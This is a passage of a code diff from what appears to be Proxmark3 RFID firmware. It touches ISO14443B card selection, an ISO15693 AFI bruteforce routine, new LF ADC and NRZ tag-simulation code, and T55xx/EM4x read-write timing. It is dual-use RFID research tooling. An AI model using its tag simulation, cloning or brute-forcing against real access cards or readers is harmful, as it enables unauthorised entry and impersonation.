GetTagSamplesFor14443bDemod(); //no GetTagSamplesFor14443bDemod(); //no
FpgaDisableTracing();
if (Demod.len < 3) if (Demod.len < 3)
return 0; return 0;
@ -1191,6 +1199,7 @@ uint8_t iso14443b_select_srx_card(iso14b_card_select_t *card) {
CodeAndTransmit14443bAsReader(init_srx, sizeof(init_srx)); CodeAndTransmit14443bAsReader(init_srx, sizeof(init_srx));
GetTagSamplesFor14443bDemod(); //no GetTagSamplesFor14443bDemod(); //no
FpgaDisableTracing();
if (Demod.len == 0) if (Demod.len == 0)
return 2; return 2;
@ -1204,6 +1213,7 @@ uint8_t iso14443b_select_srx_card(iso14b_card_select_t *card) {
CodeAndTransmit14443bAsReader(select_srx, sizeof(select_srx)); CodeAndTransmit14443bAsReader(select_srx, sizeof(select_srx));
GetTagSamplesFor14443bDemod(); //no GetTagSamplesFor14443bDemod(); //no
FpgaDisableTracing();
if (Demod.len != 3) if (Demod.len != 3)
return 2; return 2;
@ -1222,6 +1232,7 @@ uint8_t iso14443b_select_srx_card(iso14b_card_select_t *card) {
AddCrc14B(select_srx, 1); AddCrc14B(select_srx, 1);
CodeAndTransmit14443bAsReader(select_srx, 3); // Only first three bytes for this one CodeAndTransmit14443bAsReader(select_srx, 3); // Only first three bytes for this one
GetTagSamplesFor14443bDemod(); //no GetTagSamplesFor14443bDemod(); //no
FpgaDisableTracing();
if (Demod.len != 10) if (Demod.len != 10)
return 2; return 2;
@ -1253,6 +1264,7 @@ uint8_t iso14443b_select_card(iso14b_card_select_t *card) {
// first, wake up the tag // first, wake up the tag
CodeAndTransmit14443bAsReader(wupb, sizeof(wupb)); CodeAndTransmit14443bAsReader(wupb, sizeof(wupb));
GetTagSamplesFor14443bDemod(); //select_card GetTagSamplesFor14443bDemod(); //select_card
FpgaDisableTracing();
// ATQB too short? // ATQB too short?
if (Demod.len < 14) if (Demod.len < 14)
@ -1277,6 +1289,7 @@ uint8_t iso14443b_select_card(iso14b_card_select_t *card) {
CodeAndTransmit14443bAsReader(attrib, sizeof(attrib)); CodeAndTransmit14443bAsReader(attrib, sizeof(attrib));
GetTagSamplesFor14443bDemod();//select_card GetTagSamplesFor14443bDemod();//select_card
FpgaDisableTracing();
// Answer to ATTRIB too short? // Answer to ATTRIB too short?
if (Demod.len < 3) if (Demod.len < 3)
@ -1353,6 +1366,7 @@ static bool ReadSTBlock(uint8_t block) {
AddCrc14B(cmd, 2); AddCrc14B(cmd, 2);
CodeAndTransmit14443bAsReader(cmd, sizeof(cmd)); CodeAndTransmit14443bAsReader(cmd, sizeof(cmd));
GetTagSamplesFor14443bDemod(); GetTagSamplesFor14443bDemod();
FpgaDisableTracing();
// Check if we got an answer from the tag // Check if we got an answer from the tag
if (Demod.len != 6) { if (Demod.len != 6) {
@ -1602,7 +1616,7 @@ void SendRawCommand14443B_Ex(PacketCommandNG *c) {
if ((param & ISO14B_SELECT_STD) == ISO14B_SELECT_STD) { if ((param & ISO14B_SELECT_STD) == ISO14B_SELECT_STD) {
iso14b_card_select_t *card = (iso14b_card_select_t *)buf; iso14b_card_select_t *card = (iso14b_card_select_t *)buf;
status = iso14443b_select_card(card); status = iso14443b_select_card(card);
reply_old(CMD_ACK, status, sendlen, 0, buf, sendlen); reply_mix(CMD_ACK, status, sendlen, 0, buf, sendlen);
// 0: OK 2: attrib fail, 3:crc fail, // 0: OK 2: attrib fail, 3:crc fail,
if (status > 0) goto out; if (status > 0) goto out;
} }
@ -1610,14 +1624,14 @@ void SendRawCommand14443B_Ex(PacketCommandNG *c) {
if ((param & ISO14B_SELECT_SR) == ISO14B_SELECT_SR) { if ((param & ISO14B_SELECT_SR) == ISO14B_SELECT_SR) {
iso14b_card_select_t *card = (iso14b_card_select_t *)buf; iso14b_card_select_t *card = (iso14b_card_select_t *)buf;
status = iso14443b_select_srx_card(card); status = iso14443b_select_srx_card(card);
reply_old(CMD_ACK, status, sendlen, 0, buf, sendlen); reply_mix(CMD_ACK, status, sendlen, 0, buf, sendlen);
// 0: OK 2: demod fail, 3:crc fail, // 0: OK 2: demod fail, 3:crc fail,
if (status > 0) goto out; if (status > 0) goto out;
} }
if ((param & ISO14B_APDU) == ISO14B_APDU) { if ((param & ISO14B_APDU) == ISO14B_APDU) {
status = iso14443b_apdu(cmd, len, buf); status = iso14443b_apdu(cmd, len, buf);
reply_old(CMD_ACK, status, status, 0, buf, status); reply_mix(CMD_ACK, status, status, 0, buf, status);
} }
if ((param & ISO14B_RAW) == ISO14B_RAW) { if ((param & ISO14B_RAW) == ISO14B_RAW) {
@ -1628,6 +1642,7 @@ void SendRawCommand14443B_Ex(PacketCommandNG *c) {
CodeAndTransmit14443bAsReader(cmd, len); // raw CodeAndTransmit14443bAsReader(cmd, len); // raw
GetTagSamplesFor14443bDemod(); // raw GetTagSamplesFor14443bDemod(); // raw
FpgaDisableTracing();
sendlen = MIN(Demod.len, PM3_CMD_DATA_SIZE); sendlen = MIN(Demod.len, PM3_CMD_DATA_SIZE);
status = (Demod.len > 0) ? 0 : 1; status = (Demod.len > 0) ? 0 : 1;

View file

@ -929,6 +929,7 @@ void BruteforceIso15693Afi(uint32_t speed) {
uint8_t buf[ISO15_MAX_FRAME]; uint8_t buf[ISO15_MAX_FRAME];
memset(buf, 0x00, sizeof(buf)); memset(buf, 0x00, sizeof(buf));
int datalen = 0, recvlen = 0; int datalen = 0, recvlen = 0;
bool aborted = false;
Iso15693InitReader(); Iso15693InitReader();
@ -966,7 +967,9 @@ void BruteforceIso15693Afi(uint32_t speed) {
Dbprintf("AFI = %i UID = %s", i, sprintUID(NULL, buf + 2)); Dbprintf("AFI = %i UID = %s", i, sprintUID(NULL, buf + 2));
} }
if (BUTTON_PRESS()) { aborted = BUTTON_PRESS();
if (aborted) {
DbpString("button pressed, aborting.."); DbpString("button pressed, aborting..");
break; break;
} }
@ -974,6 +977,12 @@ void BruteforceIso15693Afi(uint32_t speed) {
DbpString("AFI Bruteforcing done."); DbpString("AFI Bruteforcing done.");
switch_off(); switch_off();
if (aborted) {
reply_ng(CMD_ACK, PM3_EOPABORTED, NULL, 0);
} else {
reply_ng(CMD_ACK, PM3_SUCCESS, NULL, 0);
}
} }
// Allows to directly send commands to the tag via the client // Allows to directly send commands to the tag via the client

View file

@ -14,6 +14,6 @@
#include "common.h" #include "common.h"
void LegicRfSimulate(uint8_t tagtype); void LegicRfSimulate(uint8_t cardtype);
#endif /* __LEGICRFSIM_H */ #endif /* __LEGICRFSIM_H */

299
armsrc/lfadc.c Normal file
View file

@ -0,0 +1,299 @@
//-----------------------------------------------------------------------------
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// LF ADC read/write implementation
//-----------------------------------------------------------------------------
#include "lfadc.h"
#include "lfsampling.h"
#include "fpgaloader.h"
#include "ticks.h"
// Sam7s has several timers, we will use the source TIMER_CLOCK1 (aka AT91C_TC_CLKS_TIMER_DIV1_CLOCK)
// TIMER_CLOCK1 = MCK/2, MCK is running at 48 MHz, Timer is running at 48/2 = 24 MHz
// Carrier periods (T0) have duration of 8 microseconds (us), which is 1/125000 per second
// T0 = TIMER_CLOCK1 / 125000 = 192
//#define T0 192
// Sam7s has three counters, we will use the first TIMER_COUNTER_0 (aka TC0)
// using TIMER_CLOCK3 (aka AT91C_TC_CLKS_TIMER_DIV3_CLOCK)
// as a counting signal. TIMER_CLOCK3 = MCK/32, MCK is running at 48 MHz, so the timer is running at 48/32 = 1500 kHz
// Carrier period (T0) have duration of 8 microseconds (us), which is 1/125000 per second (125 kHz frequency)
// T0 = timer/carrier = 1500kHz/125kHz = 1500000/125000 = 6
//#define HITAG_T0 3
//////////////////////////////////////////////////////////////////////////////
// Global variables
//////////////////////////////////////////////////////////////////////////////
bool rising_edge = false;
bool logging = true;
bool reader_mode = false;
//////////////////////////////////////////////////////////////////////////////
// Auxiliary functions
//////////////////////////////////////////////////////////////////////////////
bool lf_test_periods(size_t expected, size_t count) {
// Compute 10% deviation (integer operation, so rounded down)
size_t diviation = expected / 10;
return ((count > (expected - diviation)) && (count < (expected + diviation)));
}
//////////////////////////////////////////////////////////////////////////////
// Low frequency (LF) adc passthrough functionality
//////////////////////////////////////////////////////////////////////////////
uint8_t previous_adc_val = 0;
size_t lf_count_edge_periods_ex(size_t max, bool wait, bool detect_gap) {
size_t periods = 0;
volatile uint8_t adc_val;
//uint8_t avg_peak = 140, avg_through = 96;
// 140 - 127 - 114
uint8_t avg_peak = 140, avg_through = 106;
int16_t checked = 0;
while (!BUTTON_PRESS()) {
// only every 100th times, in order to save time when collecting samples.
if (checked == 1000) {
if (data_available()) {
break;
} else {
checked = 0;
}
}
++checked;
WDT_HIT();
if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
adc_val = AT91C_BASE_SSC->SSC_RHR;
periods++;
if (logging) logSampleSimple(adc_val);
// Only test field changes if state of adc values matter
if (wait == false) {
// Test if we are locating a field modulation (100% ASK = complete field drop)
if (detect_gap) {
// Only return when the field completely dissapeared
if (adc_val == 0) {
return periods;
}
} else {
// Trigger on a modulation swap by observing an edge change
if (rising_edge) {
if ((previous_adc_val > avg_peak) && (adc_val <= previous_adc_val)) {
rising_edge = false;
return periods;
}
} else {
if ((previous_adc_val < avg_through) && (adc_val >= previous_adc_val)) {
rising_edge = true;
return periods;
}
}
}
}
previous_adc_val = adc_val;
if (periods >= max) return 0;
}
}
if (logging) logSampleSimple(0xFF);
return 0;
}
size_t lf_count_edge_periods(size_t max) {
return lf_count_edge_periods_ex(max, false, false);
}
size_t lf_detect_gap(size_t max) {
return lf_count_edge_periods_ex(max, false, true);
}
void lf_reset_counter() {
// TODO: find out the correct reset settings for tag and reader mode
if (reader_mode) {
// Reset values for reader mode
rising_edge = false;
previous_adc_val = 0xFF;
} else {
// Reset values for tag/transponder mode
rising_edge = false;
previous_adc_val = 0xFF;
}
}
bool lf_get_tag_modulation() {
return (rising_edge == false);
}
bool lf_get_reader_modulation() {
return rising_edge;
}
void lf_wait_periods(size_t periods) {
lf_count_edge_periods_ex(periods, true, false);
}
void lf_init(bool reader, bool simulate) {
StopTicks();
reader_mode = reader;
FpgaDownloadAndGo(FPGA_BITSTREAM_LF);
FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 95); //125Khz
if (reader) {
FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD);
} else {
if (simulate)
// FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_EDGE_DETECT);
FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC);
else
FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC);
}
// Connect the A/D to the peak-detected low-frequency path.
SetAdcMuxFor(GPIO_MUXSEL_LOPKD);
// Now set up the SSC to get the ADC samples that are now streaming at us.
FpgaSetupSsc();
// When in reader mode, give the field a bit of time to settle.
// 313T0 = 313 * 8us = 2504us = 2.5ms Hitag2 tags needs to be fully powered.
if (reader) {
// 50 ms
SpinDelay(50);
}
// Steal this pin from the SSP (SPI communication channel with fpga) and use it to control the modulation
AT91C_BASE_PIOA->PIO_PER = GPIO_SSC_DOUT;
AT91C_BASE_PIOA->PIO_OER = GPIO_SSC_DOUT;
LOW(GPIO_SSC_DOUT);
// Enable peripheral Clock for TIMER_CLOCK 0
AT91C_BASE_PMC->PMC_PCER = (1 << AT91C_ID_TC0);
AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS;
AT91C_BASE_TC0->TC_CMR = AT91C_TC_CLKS_TIMER_DIV4_CLOCK;
// Enable peripheral Clock for TIMER_CLOCK 1
AT91C_BASE_PMC->PMC_PCER = (1 << AT91C_ID_TC1);
AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS;
AT91C_BASE_TC1->TC_CMR = AT91C_TC_CLKS_TIMER_DIV4_CLOCK;
// Clear all leds
LEDsoff();
// Reset and enable timers
AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG;
AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG;
// Prepare data trace
uint32_t bufsize = 20000;
// use malloc
if (logging) initSampleBufferEx(&bufsize, true);
sample_config *sc = getSamplingConfig();
sc->decimation = 1;
sc->averaging = 0;
}
void lf_finalize() {
// Disable timers
AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS;
AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS;
// return stolen pin to SSP
AT91C_BASE_PIOA->PIO_PDR = GPIO_SSC_DOUT;
AT91C_BASE_PIOA->PIO_ASR = GPIO_SSC_DIN | GPIO_SSC_DOUT;
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
LEDsoff();
sample_config *sc = getSamplingConfig();
sc->decimation = 1;
sc->averaging = 0;
StartTicks();
}
size_t lf_detect_field_drop(size_t max) {
size_t periods = 0;
volatile uint8_t adc_val;
int16_t checked = 0;
while (!BUTTON_PRESS()) {
// only every 1000th times, in order to save time when collecting samples.
if (checked == 1000) {
if (data_available()) {
checked = -1;
break;
} else {
checked = 0;
}
}
++checked;
WDT_HIT();
if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
periods++;
adc_val = AT91C_BASE_SSC->SSC_RHR;
if (logging) logSampleSimple(adc_val);
if (adc_val == 0) {
rising_edge = false;
return periods;
}
if (periods == max) return 0;
}
}
return 0;
}
void lf_modulation(bool modulation) {
if (modulation) {
HIGH(GPIO_SSC_DOUT);
} else {
LOW(GPIO_SSC_DOUT);
}
}
// simulation
static void lf_manchester_send_bit(uint8_t bit) {
lf_modulation(bit != 0);
lf_wait_periods(16);
lf_modulation(bit == 0);
lf_wait_periods(16);
}
// simulation
bool lf_manchester_send_bytes(const uint8_t *frame, size_t frame_len) {
LED_B_ON();
lf_manchester_send_bit(1);
lf_manchester_send_bit(1);
lf_manchester_send_bit(1);
lf_manchester_send_bit(1);
lf_manchester_send_bit(1);
// Send the content of the frame
for (size_t i = 0; i < frame_len; i++) {
lf_manchester_send_bit((frame[i / 8] >> (7 - (i % 8))) & 1);
}
LED_B_OFF();
return true;
}

36
armsrc/lfadc.h Normal file
View file

@ -0,0 +1,36 @@
//-----------------------------------------------------------------------------
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// LF ADC read/write implementation
//-----------------------------------------------------------------------------
#ifndef __LFADC_H__
#define __LFADC_H__
#include "proxmark3_arm.h"
#include "common.h"
#include "cmd.h"
#include "util.h"
#include "string.h"
extern bool logging;
bool lf_test_periods(size_t expected, size_t count);
size_t lf_count_edge_periods(size_t max);
size_t lf_detect_gap(size_t max);
void lf_reset_counter();
bool lf_get_tag_modulation();
bool lf_get_reader_modulation();
void lf_wait_periods(size_t periods);
//void lf_init(bool reader);
void lf_init(bool reader, bool simulate);
void lf_finalize();
size_t lf_detect_field_drop(size_t max);
bool lf_manchester_send_bytes(const uint8_t *frame, size_t frame_len);
void lf_modulation(bool modulation);
#endif // __LFADC_H__

View file

@ -52,11 +52,11 @@ SAM7S has several timers, we will use the source TIMER_CLOCK1 (aka AT91C_TC_CLKS
TIMER_CLOCK1 = MCK/2, MCK is running at 48 MHz, Timer is running at 48/2 = 24 MHz TIMER_CLOCK1 = MCK/2, MCK is running at 48 MHz, Timer is running at 48/2 = 24 MHz
New timer implemenation in ticks.c, which is used in LFOPS.c New timer implemenation in ticks.c, which is used in LFOPS.c
1us = 1.5ticks 1 μs = 1.5 ticks
1fc = 8us = 12ticks 1 fc = 8 μs = 12 ticks
Terms you find in different datasheets and how they match. Terms you find in different datasheets and how they match.
1 Cycle = 8 microseconds(us) == 1 field clock (fc) 1 Cycle = 8 microseconds (μs) == 1 field clock (fc)
Note about HITAG timing Note about HITAG timing
Hitag units (T0) have duration of 8 microseconds (us), which is 1/125000 per second (carrier) Hitag units (T0) have duration of 8 microseconds (us), which is 1/125000 per second (carrier)
@ -135,19 +135,30 @@ Initial values if not in flash
RG = Read gap RG = Read gap
Explainations for array T55xx_Timing below Explainations for array T55xx_Timing below
SG WG Bit 0/00 Bit 1/01 Bit 10 Bit 11 RG
0 1 2 3
SG WG Bit 00 Bit 01 Bit 10 Bit 11 RG
-------------------------------------------------------------------- --------------------------------------------------------------------
{ 29 , 17 , 15 , 47 , 0 , 0 , 15 }, // Default Fixed { 29 , 17 , 15 , 47 , 0 , 0 , 15 }, // Default Fixed
{ 31 , 20 , 18 , 50 , 0 , 0 , 15 }, // Long Leading Ref. { 29 , 17 , 15 , 50 , 0 , 0 , 15 }, // Long Leading Ref.
{ 31 , 20 , 18 , 40 , 0 , 0 , 15 }, // Leading 0 { 29 , 17 , 15 , 40 , 0 , 0 , 15 }, // Leading 0
{ 29 , 17 , 15 , 31 , 47 , 63 , 15 } // 1 of 4 { 29 , 17 , 15 , 31 , 47 , 63 , 15 } // 1 of 4
*/ */
t55xx_configurations_t T55xx_Timing = { t55xx_configurations_t T55xx_Timing = {
{ {
#ifdef WITH_FLASH
// PM3RDV4
{ 29 * 8, 17 * 8, 15 * 8, 47 * 8, 15 * 8, 0, 0 }, // Default Fixed { 29 * 8, 17 * 8, 15 * 8, 47 * 8, 15 * 8, 0, 0 }, // Default Fixed
{ 29 * 8, 17 * 8, 15 * 8, 47 * 8, 15 * 8, 0, 0 }, // Long Leading Ref.
{ 29 * 8, 17 * 8, 15 * 8, 40 * 8, 15 * 8, 0, 0 }, // Leading 0
{ 29 * 8, 17 * 8, 15 * 8, 31 * 8, 15 * 8, 47 * 8, 63 * 8 } // 1 of 4
#else
// PM3OTHER or like offical repo
{ 31 * 8, 20 * 8, 18 * 8, 50 * 8, 15 * 8, 0, 0 }, // Default Fixed
{ 31 * 8, 20 * 8, 18 * 8, 50 * 8, 15 * 8, 0, 0 }, // Long Leading Ref. { 31 * 8, 20 * 8, 18 * 8, 50 * 8, 15 * 8, 0, 0 }, // Long Leading Ref.
{ 31 * 8, 20 * 8, 18 * 8, 40 * 8, 15 * 8, 0, 0 }, // Leading 0 { 31 * 8, 20 * 8, 18 * 8, 40 * 8, 15 * 8, 0, 0 }, // Leading 0
{ 29 * 8, 17 * 8, 15 * 8, 31 * 8, 15 * 8, 47 * 8, 63 * 8 } // 1 of 4 { 31 * 8, 20 * 8, 18 * 8, 34 * 8, 15 * 8, 50 * 8, 66 * 8 } // 1 of 4
#endif
} }
}; };
@ -435,7 +446,7 @@ void ModThenAcquireRawAdcSamples125k(uint32_t delay_off, uint32_t period_0, uint
} else { } else {
// if field already on leave alone (affects timing otherwise) // if field already on leave alone (affects timing otherwise)
if (off) { if (off) {
FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_READER | FPGA_LF_ADC_READER_FIELD);
LED_D_ON(); LED_D_ON();
off = false; off = false;
} }
@ -459,10 +470,10 @@ void ModThenAcquireRawAdcSamples125k(uint32_t delay_off, uint32_t period_0, uint
FpgaSendCommand(FPGA_CMD_SET_DIVISOR, sc->divisor); FpgaSendCommand(FPGA_CMD_SET_DIVISOR, sc->divisor);
} }
FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_READER | FPGA_LF_ADC_READER_FIELD);
// now do the read // now do the read
DoAcquisition_config(false, 0); DoAcquisition_config(true, 0);
// Turn off antenna // Turn off antenna
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
@ -1138,7 +1149,7 @@ static void pskSimBit(uint8_t waveLen, int *n, uint8_t clk, uint8_t *curPhase, b
} }
// args clock, carrier, invert, // args clock, carrier, invert,
void CmdPSKsimTag(uint8_t carrier, uint8_t invert, uint8_t clk, uint16_t size, uint8_t *bits, bool ledcontrol) { void CmdPSKsimTAG(uint8_t carrier, uint8_t invert, uint8_t clk, uint16_t size, uint8_t *bits, bool ledcontrol) {
FpgaDownloadAndGo(FPGA_BITSTREAM_LF); FpgaDownloadAndGo(FPGA_BITSTREAM_LF);
set_tracing(false); set_tracing(false);
@ -1162,6 +1173,55 @@ void CmdPSKsimTag(uint8_t carrier, uint8_t invert, uint8_t clk, uint16_t size, u
reply_ng(CMD_LF_PSK_SIMULATE, PM3_EOPABORTED, NULL, 0); reply_ng(CMD_LF_PSK_SIMULATE, PM3_EOPABORTED, NULL, 0);
} }
// compose nrz waveform for one bit(NRZ)
static void nrzSimBit(uint8_t c, int *n, uint8_t clock) {
uint8_t *dest = BigBuf_get_addr();
// uint8_t halfClk = clock / 2;
// c = current bit 1 or 0
memset(dest + (*n), c, clock);
*n += clock;
}
// args clock,
void CmdNRZsimTAG(uint8_t invert, uint8_t separator, uint8_t clk, uint16_t size, uint8_t *bits, bool ledcontrol) {
FpgaDownloadAndGo(FPGA_BITSTREAM_LF);
set_tracing(false);
int n = 0, i = 0;
// NRZ
leadingZeroAskSimBits(&n, clk);
for (i = 0; i < size; i++) {
nrzSimBit(bits[i] ^ invert, &n, clk);
}
if (bits[0] == bits[size - 1]) {
for (i = 0; i < size; i++) {
nrzSimBit(bits[i] ^ invert ^ 1, &n, clk);
}
}
if (separator == 1)
Dbprintf("sorry but separator option not yet available");
WDT_HIT();
Dbprintf("Simulating with clk: %d, invert: %d, separator: %d, n: %d"
, clk
, invert
, separator
, n
);
if (ledcontrol) LED_A_ON();
SimulateTagLowFrequency(n, 0, ledcontrol);
if (ledcontrol) LED_A_OFF();
reply_ng(CMD_LF_NRZ_SIMULATE, PM3_EOPABORTED, NULL, 0);
}
// loop to get raw HID waveform then FSK demodulate the TAG ID from it // loop to get raw HID waveform then FSK demodulate the TAG ID from it
void CmdHIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol) { void CmdHIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol) {
uint8_t *dest = BigBuf_get_addr(); uint8_t *dest = BigBuf_get_addr();
@ -1179,7 +1239,7 @@ void CmdHIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol)
WDT_HIT(); WDT_HIT();
if (ledcontrol) LED_A_ON(); if (ledcontrol) LED_A_ON();
DoAcquisition_default(-1, true); DoAcquisition_default(-1, false);
// FSK demodulator // FSK demodulator
size = 50 * 128 * 2; //big enough to catch 2 sequences of largest format size = 50 * 128 * 2; //big enough to catch 2 sequences of largest format
int idx = HIDdemodFSK(dest, &size, &hi2, &hi, &lo, &dummyIdx); int idx = HIDdemodFSK(dest, &size, &hi2, &hi, &lo, &dummyIdx);
@ -1231,7 +1291,7 @@ void CmdHIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol)
cardnum = (lo >> 1) & 0x7FFFF; cardnum = (lo >> 1) & 0x7FFFF;
fac = ((hi & 0xF) << 12) | (lo >> 20); fac = ((hi & 0xF) << 12) | (lo >> 20);
} }
Dbprintf("TAG ID: %x%08x (%d) - Format Len: %dbit - FC: %d - Card: %d", Dbprintf("TAG ID: " _YELLOW_("%x%08x (%d)") "- Format Len: " _YELLOW_("%d") "bit - FC: " _YELLOW_("%d") "- Card: "_YELLOW_("%d"),
hi, hi,
lo, lo,
(lo >> 1) & 0xFFFF, (lo >> 1) & 0xFFFF,
@ -1258,10 +1318,7 @@ void CmdHIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol)
void CmdAWIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol) { void CmdAWIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol) {
uint8_t *dest = BigBuf_get_addr(); uint8_t *dest = BigBuf_get_addr();
size_t size;
//big enough to catch 2 sequences of largest format but don't exeed whats available in bigbuff.
size_t size = MIN(12800, BigBuf_max_traceLen()); //50 * 128 * 2;
int dummyIdx = 0; int dummyIdx = 0;
BigBuf_Clear_keep_EM(); BigBuf_Clear_keep_EM();
@ -1273,13 +1330,12 @@ void CmdAWIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol)
WDT_HIT(); WDT_HIT();
if (ledcontrol) LED_A_ON(); if (ledcontrol) LED_A_ON();
DoAcquisition_default(-1, true); DoAcquisition_default(-1, false);
// FSK demodulator // FSK demodulator
size = BigBuf_max_traceLen(); size = MIN(12800, BigBuf_max_traceLen());
//askdemod and manchester decode
if (size > 12800) size = 12800; //big enough to catch 2 sequences of largest format
//askdemod and manchester decode
int idx = detectAWID(dest, &size, &dummyIdx); int idx = detectAWID(dest, &size, &dummyIdx);
if (idx <= 0 || size != 96) continue; if (idx <= 0 || size != 96) continue;
@ -1365,11 +1421,11 @@ void CmdEM410xdemod(int findone, uint32_t *high, uint64_t *low, int ledcontrol)
WDT_HIT(); WDT_HIT();
if (ledcontrol) LED_A_ON(); if (ledcontrol) LED_A_ON();
DoAcquisition_default(-1, true); DoAcquisition_default(-1, false);
size = MIN(16385, BigBuf_max_traceLen());
size = BigBuf_max_traceLen();
//askdemod and manchester decode //askdemod and manchester decode
if (size > 16385) size = 16385; //big enough to catch 2 sequences of largest format
int errCnt = askdemod(dest, &size, &clk, &invert, maxErr, 0, 1); int errCnt = askdemod(dest, &size, &clk, &invert, maxErr, 0, 1);
WDT_HIT(); WDT_HIT();
@ -1430,13 +1486,11 @@ void CmdIOdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol) {
WDT_HIT(); WDT_HIT();
if (ledcontrol) LED_A_ON(); if (ledcontrol) LED_A_ON();
DoAcquisition_default(-1, true); DoAcquisition_default(-1, false);
size = MIN(12000, BigBuf_max_traceLen());
//fskdemod and get start index //fskdemod and get start index
size = BigBuf_max_traceLen();
//askdemod and manchester decode
if (size > 12000) size = 12000; //big enough to catch 2 sequences of largest format
int idx = detectIOProx(dest, &size, &dummyIdx); int idx = detectIOProx(dest, &size, &dummyIdx);
if (idx < 0) continue; if (idx < 0) continue;
//valid tag found //valid tag found
@ -1513,7 +1567,7 @@ void CmdIOdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol) {
*/ */
void TurnReadLFOn(uint32_t delay) { void TurnReadLFOn(uint32_t delay) {
FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_READER | FPGA_LF_ADC_READER_FIELD);
// measure antenna strength. // measure antenna strength.
//int adcval = ((MAX_ADC_LF_VOLTAGE * AvgAdc(ADC_CHAN_LF)) >> 10); //int adcval = ((MAX_ADC_LF_VOLTAGE * AvgAdc(ADC_CHAN_LF)) >> 10);
@ -1718,7 +1772,7 @@ void T55xxResetRead(uint8_t flags) {
TurnReadLFOn(T55xx_Timing.m[downlink_mode].read_gap); TurnReadLFOn(T55xx_Timing.m[downlink_mode].read_gap);
// Acquisition // Acquisition
DoPartialAcquisition(0, true, BigBuf_max_traceLen(), 0); DoPartialAcquisition(0, false, BigBuf_max_traceLen(), 0);
// Turn the field off // Turn the field off
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
@ -1815,7 +1869,7 @@ void T55xxWriteBlock(uint8_t *data) {
// response should be (for t55x7) a 0 bit then (ST if on) // response should be (for t55x7) a 0 bit then (ST if on)
// block data written in on repeat until reset. // block data written in on repeat until reset.
//DoPartialAcquisition(20, true, 12000); //DoPartialAcquisition(20, false, 12000);
} }
// turn field off // turn field off
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
@ -1876,7 +1930,7 @@ bool brute_mem = (flags & 0x0100) >> 8;
// Acquisition // Acquisition
// Now do the acquisition // Now do the acquisition
DoPartialAcquisition(0, true, samples, 0); DoPartialAcquisition(0, false, samples, 0);
// Turn the field off // Turn the field off
if (!brute_mem) { if (!brute_mem) {
@ -1936,7 +1990,7 @@ void T55xxReadBlock(uint8_t page, bool pwd_mode, bool brute_mem, uint8_t block,
// Acquisition // Acquisition
// Now do the acquisition // Now do the acquisition
DoPartialAcquisition(0, true, samples, 0); DoPartialAcquisition(0, false, samples, 0);
// Turn the field off // Turn the field off
if (!brute_mem) { if (!brute_mem) {
@ -2393,7 +2447,7 @@ void EM4xReadWord(uint8_t addr, uint32_t pwd, uint8_t usepwd) {
WaitUS(400); WaitUS(400);
DoPartialAcquisition(20, true, 6000, 1000); DoPartialAcquisition(20, false, 6000, 1000);
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
reply_ng(CMD_LF_EM4X_READWORD, PM3_SUCCESS, NULL, 0); reply_ng(CMD_LF_EM4X_READWORD, PM3_SUCCESS, NULL, 0);
@ -2426,7 +2480,7 @@ void EM4xWriteWord(uint8_t addr, uint32_t data, uint32_t pwd, uint8_t usepwd) {
//Wait 20ms for write to complete? //Wait 20ms for write to complete?
WaitMS(7); WaitMS(7);
DoPartialAcquisition(20, true, 6000, 1000); DoPartialAcquisition(20, false, 6000, 1000);
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
reply_ng(CMD_LF_EM4X_WRITEWORD, PM3_SUCCESS, NULL, 0); reply_ng(CMD_LF_EM4X_WRITEWORD, PM3_SUCCESS, NULL, 0);
@ -2471,7 +2525,7 @@ void Cotag(uint32_t arg0) {
